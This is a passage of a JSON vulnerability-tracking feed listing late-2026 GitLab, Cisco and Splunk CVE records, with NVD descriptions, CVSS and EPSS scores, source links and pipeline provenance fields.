exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15723","cveId":"CVE-2026-15723","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP...","summary":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP auto-linking were both enabled, an authenticated user could have taken over an existing LDAP-backed account without any interaction from the targeted user, due to improper input sanitization in the LDAP email lookup path used during OmniAuth identity linking.","detail":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, when OmniAuth SAML and LDAP auto-linking were both enabled, an authenticated user could have taken over an existing LDAP-backed account without any interaction from the targeted user, due to improper input sanitization in the LDAP email lookup path used during OmniAuth identity linking.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T01:16:59.477Z","updatedAt":"2026-10-23T12:18:13.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":["GitLab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-15723","asOf":"2026-10-23T12:18:13.843Z"},"epss":{"probability":0.00421,"percentile":0.36198,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-15723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-15723","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15723","type":"primary","publishedAt":"2026-10-22T01:16:59.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-15723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-15723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112212","cveId":"CVE-2026-112212","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an...","summary":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an unauthenticated user could have poisoned a shared cache's OAuth/OIDC discovery document to redirect certain flows to an externally controlled server, due to improper trust of user-supplied values when constructing endpoint URLs in cached discovery responses.","detail":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an unauthenticated user could have poisoned a shared cache's OAuth/OIDC discovery document to redirect certain flows to an externally controlled server, due to improper trust of user-supplied values when constructing endpoint URLs in cached discovery responses.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T01:16:57.740Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["GitLab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112212","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.0019,"percentile":0.08574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112212&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112212","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112212","type":"primary","publishedAt":"2026-10-22T01:16:57.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112212&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112212, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76530","cveId":"CVE-2026-76530","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76530 are related to use of non-canonical URL paths for authorization decisions and are grouped under the Common Weakness Enumeration (CWE) CWE-647.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76530 are related to use of non-canonical URL paths for authorization decisions and are grouped under the Common Weakness Enumeration (CWE) CWE-647.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:30.000Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76530","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.00289,"percentile":0.21272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76530&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76530","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76530","type":"primary","publishedAt":"2026-10-21T23:17:30.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76530&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76530, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76526","cveId":"CVE-2026-76526","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76526 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76526 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:29.543Z","updatedAt":"2026-10-26T16:17:22.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76526","asOf":"2026-10-26T16:17:22.180Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76526","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76526","type":"primary","publishedAt":"2026-10-21T23:17:29.543Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76307","cveId":"CVE-2026-76307","aliases":[],"kind":"vulnerability","title":"In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer...","summary":"In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer authentication token values for other users. If the inferred token grants administrative access, that user could gain administrative access to the Splunk SOAR instance.\nThe vulnerability is possible because the REST API accepts caller-controlled query filters on sensitive user record fields.\nFor more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/6.4.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.","detail":"In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer authentication token values for other users. If the inferred token grants administrative access, that user could gain administrative access to the Splunk SOAR instance.\nThe vulnerability is possible because the REST API accepts caller-controlled query filters on sensitive user record fields.\nFor more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/6.4.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:28.893Z","updatedAt":"2026-10-23T15:17:34.747Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76307","asOf":"2026-10-23T15:17:34.747Z"},"epss":{"probability":0.00398,"percentile":0.33715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76307","type":"primary","publishedAt":"2026-10-21T23:17:28.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76306","cveId":"CVE-2026-76306","aliases":[],"kind":"vulnerability","title":"In Splunk SOAR versions below 8.7.0, a user that has the \"Observer\" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and...","summary":"In Splunk SOAR versions below 8.7.0, a user that has the \"Observer\" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and authorization tokens for other users.\nThe information disclosure is possible because Splunk SOAR applies REST API query filters to user records before it protects sensitive fields from query processing.\nFor more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/8.5.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.","detail":"In Splunk SOAR versions below 8.7.0, a user that has the \"Observer\" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and authorization tokens for other users.\nThe information disclosure is possible because Splunk SOAR applies REST API query filters to user records before it protects sensitive fields from query processing.\nFor more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/8.5.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:28.770Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76306","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.00222,"percentile":0.12707,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76306","type":"primary","publishedAt":"2026-10-21T23:17:28.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76300","cveId":"CVE-2026-76300","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76300 are related to improper control of a resource through its lifetime and are grouped under the Common Weakness Enumeration (CWE) CWE-664.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76300 are related to improper control of a resource through its lifetime and are grouped under the Common Weakness Enumeration (CWE) CWE-664.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:28.050Z","updatedAt":"2026-10-26T16:17:22.013Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76300","asOf":"2026-10-26T16:17:22.013Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76300","type":"primary","publishedAt":"2026-10-21T23:17:28.050Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76298","cveId":"CVE-2026-76298","aliases":[],"kind":"vulnerability","title":"In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the \"admin\" or \"power\" Splunk roles could derive the PostgreSQL sidecar database superuser password...","summary":"In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the \"admin\" or \"power\" Splunk roles could derive the PostgreSQL sidecar database superuser password and run arbitrary operating system commands as the user account running Splunk Enterprise on search head cluster members.\nThe vulnerability is possible because the PostgreSQL sidecar service derives a privileged database password from the search head cluster identifier that appears in search job logs.\nFor more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.2/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), server.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.2/configuration-file-reference/10.2.0-configuration-file-reference/server.conf), and Sidecar configuration settings (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/splunk-sidecars/sidecar-configuration-settings) in the Splunk documentation.","detail":"In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the \"admin\" or \"power\" Splunk roles could derive the PostgreSQL sidecar database superuser password and run arbitrary operating system commands as the user account running Splunk Enterprise on search head cluster members.\nThe vulnerability is possible because the PostgreSQL sidecar service derives a privileged database password from the search head cluster identifier that appears in search job logs.\nFor more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.2/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), server.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.2/configuration-file-reference/10.2.0-configuration-file-reference/server.conf), and Sidecar configuration settings (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/splunk-sidecars/sidecar-configuration-settings) in the Splunk documentation.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:27.817Z","updatedAt":"2026-10-23T04:18:17.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PostgreSQL"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76298","asOf":"2026-10-23T04:18:17.853Z"},"epss":{"probability":0.00353,"percentile":0.28667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76298","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76298","type":"primary","publishedAt":"2026-10-21T23:17:27.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76293","cveId":"CVE-2026-76293","aliases":[],"kind":"vulnerability","title":"In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system...","summary":"In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system commands using the permissions of the user account running Splunk Enterprise by opening the affected configuration in the Splunk Web Manager page. \nThe vulnerability is possible because Splunk Web evaluates user-controlled expressions from Manager XML without sufficiently restricting the expression syntax.","detail":"In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system commands using the permissions of the user account running Splunk Enterprise by opening the affected configuration in the Splunk Web Manager page. \nThe vulnerability is possible because Splunk Web evaluates user-controlled expressions from Manager XML without sufficiently restricting the expression syntax.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:27.200Z","updatedAt":"2026-10-23T04:18:17.693Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76293","asOf":"2026-10-23T04:18:17.693Z"},"epss":{"probability":0.0047,"percentile":0.40365,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76293&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76293","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76293","type":"primary","publishedAt":"2026-10-21T23:17:27.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76293&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76293, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76291","cveId":"CVE-2026-76291","aliases":[],"kind":"vulnerability","title":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the...","summary":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the scheduled search workflow. The user could then run risky Search Processing Language (SPL) commands that disclose or alter Splunk Enterprise data or disrupt Splunk Enterprise availability.\nThe vulnerability is possible because the Splunk Enterprise search scheduler does not apply SPL safeguards for risky commands to scheduled searches.\nFor more information see SPL safeguards for risky commands 